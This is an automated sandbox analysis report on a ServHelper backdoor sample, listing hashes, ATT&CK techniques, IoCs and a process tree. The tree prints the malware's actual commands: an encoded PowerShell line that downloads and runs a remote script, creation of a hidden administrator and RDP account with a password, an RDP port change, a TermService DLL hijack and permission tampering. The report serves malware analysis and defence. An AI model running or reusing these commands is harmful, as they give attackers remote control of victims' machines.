servhelper | e5dcf030290fd293d259f1c8ffbb65328c371e07fa34419af7723429599a7f6e

Analysis

max time kernel
125s
max time network
116s
platform
windows7_x64
resource
win7v20210410
submitted
02-07-2021 06:03

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General

Target

b8c76065042d1557af857a48a5ac0f3e.exe
Size

5.7MB
MD5

b8c76065042d1557af857a48a5ac0f3e
SHA1

7b5077cd4aaa5c97a768e9722828ebac94abe1f8
SHA256

e5dcf030290fd293d259f1c8ffbb65328c371e07fa34419af7723429599a7f6e
SHA512

59aa84a81ac66288b0d9b2d160ce6c3895d5a02bd48bceff659aeaf21df28c4996585378d302535f50b06d0592d65b5e6612714f7bec4d0df39e9bf514d54eba

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	588	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1708	icacls.exe
544	icacls.exe
1040	icacls.exe
1604	takeown.exe
1384	icacls.exe
1156	icacls.exe
616	icacls.exe
1512	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130df-180.dat	upx
behavioral1/files/0x00050000000130e0-181.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1252	Process not Found
1252	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1708	icacls.exe
544	icacls.exe
1040	icacls.exe
1604	takeown.exe
1384	icacls.exe
1156	icacls.exe
616	icacls.exe
1512	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ff552fc3-698a-4f90-ae6d-431a1a948633	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5ecff6fb-e1e6-42d8-9f10-9fe7e38e9d16	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_590fac5a-ef3e-4089-9aec-88ecc619c530	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fb7bdc71-2ce2-4065-b779-5b9a61d5e219	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1cfd80b7-443e-4421-b28d-069950fa769d	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_67bf5e67-49ef-47f0-b0eb-22a8f7d04708	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_419d8e7c-b0c1-42e6-923f-981e9d632e52	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1R6MW5CJJJI98IVAILP1.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_79fe2896-55c0-4166-884e-3c0da1e6969f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f9e9d9a3-f38d-4be8-aabe-1b9063f81b41	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235ae516-41ab-473b-8dac-dbbdbec499b5	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_19b5cc9c-3f9f-4967-ac29-73280a9f35ef	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0d46a93076fd701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1004	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
872	powershell.exe
872	powershell.exe
588	powershell.exe
588	powershell.exe
768	powershell.exe
768	powershell.exe
1332	powershell.exe
1332	powershell.exe
872	powershell.exe
872	powershell.exe
872	powershell.exe
588	powershell.exe
588	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	872	powershell.exe
Token: SeDebugPrivilege	588	powershell.exe
Token: SeDebugPrivilege	768	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeRestorePrivilege	1156	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1696	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1696	WMIC.exe
Token: SeAuditPrivilege	1696	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1696	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1696	WMIC.exe
Token: SeAuditPrivilege	1696	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1552	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1552	WMIC.exe
Token: SeAuditPrivilege	1552	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1552	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1552	WMIC.exe
Token: SeAuditPrivilege	1552	WMIC.exe
Token: SeDebugPrivilege	588	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1268 wrote to memory of 872	1268	b8c76065042d1557af857a48a5ac0f3e.exe	29
PID 1268 wrote to memory of 872	1268	b8c76065042d1557af857a48a5ac0f3e.exe	29
PID 1268 wrote to memory of 872	1268	b8c76065042d1557af857a48a5ac0f3e.exe	29
PID 872 wrote to memory of 1512	872	powershell.exe	31
PID 872 wrote to memory of 1512	872	powershell.exe	31
PID 872 wrote to memory of 1512	872	powershell.exe	31
PID 1512 wrote to memory of 1036	1512	csc.exe	32
PID 1512 wrote to memory of 1036	1512	csc.exe	32
PID 1512 wrote to memory of 1036	1512	csc.exe	32
PID 872 wrote to memory of 588	872	powershell.exe	33
PID 872 wrote to memory of 588	872	powershell.exe	33
PID 872 wrote to memory of 588	872	powershell.exe	33
PID 872 wrote to memory of 768	872	powershell.exe	35
PID 872 wrote to memory of 768	872	powershell.exe	35
PID 872 wrote to memory of 768	872	powershell.exe	35
PID 872 wrote to memory of 1332	872	powershell.exe	37
PID 872 wrote to memory of 1332	872	powershell.exe	37
PID 872 wrote to memory of 1332	872	powershell.exe	37
PID 872 wrote to memory of 1604	872	powershell.exe	40
PID 872 wrote to memory of 1604	872	powershell.exe	40
PID 872 wrote to memory of 1604	872	powershell.exe	40
PID 872 wrote to memory of 1384	872	powershell.exe	41
PID 872 wrote to memory of 1384	872	powershell.exe	41
PID 872 wrote to memory of 1384	872	powershell.exe	41
PID 872 wrote to memory of 1156	872	powershell.exe	42
PID 872 wrote to memory of 1156	872	powershell.exe	42
PID 872 wrote to memory of 1156	872	powershell.exe	42
PID 872 wrote to memory of 616	872	powershell.exe	43
PID 872 wrote to memory of 616	872	powershell.exe	43
PID 872 wrote to memory of 616	872	powershell.exe	43
PID 872 wrote to memory of 1512	872	powershell.exe	44
PID 872 wrote to memory of 1512	872	powershell.exe	44
PID 872 wrote to memory of 1512	872	powershell.exe	44
PID 872 wrote to memory of 1708	872	powershell.exe	45
PID 872 wrote to memory of 1708	872	powershell.exe	45
PID 872 wrote to memory of 1708	872	powershell.exe	45
PID 872 wrote to memory of 544	872	powershell.exe	46
PID 872 wrote to memory of 544	872	powershell.exe	46
PID 872 wrote to memory of 544	872	powershell.exe	46
PID 872 wrote to memory of 1040	872	powershell.exe	47
PID 872 wrote to memory of 1040	872	powershell.exe	47
PID 872 wrote to memory of 1040	872	powershell.exe	47
PID 872 wrote to memory of 588	872	powershell.exe	48
PID 872 wrote to memory of 588	872	powershell.exe	48
PID 872 wrote to memory of 588	872	powershell.exe	48
PID 872 wrote to memory of 1004	872	powershell.exe	49
PID 872 wrote to memory of 1004	872	powershell.exe	49
PID 872 wrote to memory of 1004	872	powershell.exe	49
PID 872 wrote to memory of 1696	872	powershell.exe	50
PID 872 wrote to memory of 1696	872	powershell.exe	50
PID 872 wrote to memory of 1696	872	powershell.exe	50
PID 872 wrote to memory of 1640	872	powershell.exe	51
PID 872 wrote to memory of 1640	872	powershell.exe	51
PID 872 wrote to memory of 1640	872	powershell.exe	51
PID 1640 wrote to memory of 1648	1640	net.exe	52
PID 1640 wrote to memory of 1648	1640	net.exe	52
PID 1640 wrote to memory of 1648	1640	net.exe	52
PID 872 wrote to memory of 1756	872	powershell.exe	53
PID 872 wrote to memory of 1756	872	powershell.exe	53
PID 872 wrote to memory of 1756	872	powershell.exe	53
PID 1756 wrote to memory of 1796	1756	cmd.exe	54
PID 1756 wrote to memory of 1796	1756	cmd.exe	54
PID 1756 wrote to memory of 1796	1756	cmd.exe	54
PID 1796 wrote to memory of 676	1796	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\b8c76065042d1557af857a48a5ac0f3e.exe
"C:\Users\Admin\AppData\Local\Temp\b8c76065042d1557af857a48a5ac0f3e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\i0fjt4sj\i0fjt4sj.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1512
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES166E.tmp" "c:\Users\Admin\AppData\Local\Temp\i0fjt4sj\CSCACD5129E7C3F46958A1589509327CC7F.TMP"
      4⤵
      PID:1036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1332
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1604
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1384
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1156
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:616
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1512
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1708
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:544
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1040
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:588
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1004
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1696
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1640
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1648
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1756
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1796
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:676
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1712
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1088
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1156
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1772
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1728
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1160
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1496

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:856
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:292

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc vRLTzGmU /add
1⤵
PID:316
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc vRLTzGmU /add
  2⤵
  PID:1384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc vRLTzGmU /add
    3⤵
    PID:676

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1496
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:832
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1160

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1548
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1756

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:316
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1004

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc vRLTzGmU
1⤵
PID:1512
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc vRLTzGmU
  2⤵
  PID:1552
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc vRLTzGmU
    3⤵
    PID:1660

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:588
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1696

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1832
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1552

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1700
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/588-107-0x000000001BAA0000-0x000000001BAA1000-memory.dmp

Filesize
4KB

Download
memory/588-121-0x000000001BC80000-0x000000001BC81000-memory.dmp

Filesize
4KB

Download
memory/588-94-0x00000000025F0000-0x00000000025F1000-memory.dmp

Filesize
4KB

Download
memory/588-96-0x000000001B530000-0x000000001B531000-memory.dmp

Filesize
4KB

Download
memory/588-98-0x000000001B470000-0x000000001B471000-memory.dmp

Filesize
4KB

Download
memory/588-99-0x000000001AB40000-0x000000001AB42000-memory.dmp

Filesize
8KB

Download
memory/588-100-0x000000001AB44000-0x000000001AB46000-memory.dmp

Filesize
8KB

Download
memory/588-201-0x0000000019540000-0x0000000019542000-memory.dmp

Filesize
8KB

Download
memory/588-102-0x0000000002270000-0x0000000002271000-memory.dmp

Filesize
4KB

Download
memory/588-202-0x0000000019544000-0x0000000019546000-memory.dmp

Filesize
8KB

Download
memory/588-120-0x000000001BC70000-0x000000001BC71000-memory.dmp

Filesize
4KB

Download
memory/588-203-0x000000001954A000-0x0000000019569000-memory.dmp

Filesize
124KB

Download
memory/768-127-0x000000001AA70000-0x000000001AA72000-memory.dmp

Filesize
8KB

Download
memory/768-128-0x000000001AA74000-0x000000001AA76000-memory.dmp

Filesize
8KB

Download
memory/768-130-0x000000001A900000-0x000000001A901000-memory.dmp

Filesize
4KB

Download
memory/768-132-0x000000001A9D0000-0x000000001A9D1000-memory.dmp

Filesize
4KB

Download
memory/768-134-0x000000001B460000-0x000000001B461000-memory.dmp

Filesize
4KB

Download
memory/768-135-0x00000000023E0000-0x00000000023E1000-memory.dmp

Filesize
4KB

Download
memory/872-86-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

Filesize
4KB

Download
memory/872-70-0x0000000002450000-0x0000000002451000-memory.dmp

Filesize
4KB

Download
memory/872-87-0x000000001AAD0000-0x000000001AAD1000-memory.dmp

Filesize
4KB

Download
memory/872-73-0x000000001AB94000-0x000000001AB96000-memory.dmp

Filesize
8KB

Download
memory/872-85-0x000000001B5C0000-0x000000001B5C1000-memory.dmp

Filesize
4KB

Download
memory/872-83-0x0000000002300000-0x0000000002301000-memory.dmp

Filesize
4KB

Download
memory/872-72-0x000000001AB90000-0x000000001AB92000-memory.dmp

Filesize
8KB

Download
memory/872-71-0x0000000002790000-0x0000000002791000-memory.dmp

Filesize
4KB

Download
memory/872-101-0x000000001AB9A000-0x000000001ABB9000-memory.dmp

Filesize
124KB

Download
memory/872-157-0x000000001C470000-0x000000001C471000-memory.dmp

Filesize
4KB

Download
memory/872-67-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

Filesize
8KB

Download
memory/872-68-0x0000000002390000-0x0000000002391000-memory.dmp

Filesize
4KB

Download
memory/872-69-0x000000001AC10000-0x000000001AC11000-memory.dmp

Filesize
4KB

Download
memory/872-75-0x000000001C180000-0x000000001C181000-memory.dmp

Filesize
4KB

Download
memory/1268-64-0x0000000041826000-0x0000000041827000-memory.dmp

Filesize
4KB

Download
memory/1268-59-0x0000000001120000-0x0000000001D0E000-memory.dmp

Filesize
11.9MB

Download
memory/1268-60-0x0000000041F10000-0x00000000421BA000-memory.dmp

Filesize
2.7MB

Download
memory/1268-62-0x0000000041822000-0x0000000041824000-memory.dmp

Filesize
8KB

Download
memory/1268-63-0x0000000041824000-0x0000000041826000-memory.dmp

Filesize
8KB

Download
memory/1268-65-0x0000000041827000-0x0000000041828000-memory.dmp

Filesize
4KB

Download
memory/1332-156-0x00000000026F4000-0x00000000026F6000-memory.dmp

Filesize
8KB

Download
memory/1332-155-0x00000000026F0000-0x00000000026F2000-memory.dmp

Filesize
8KB

Download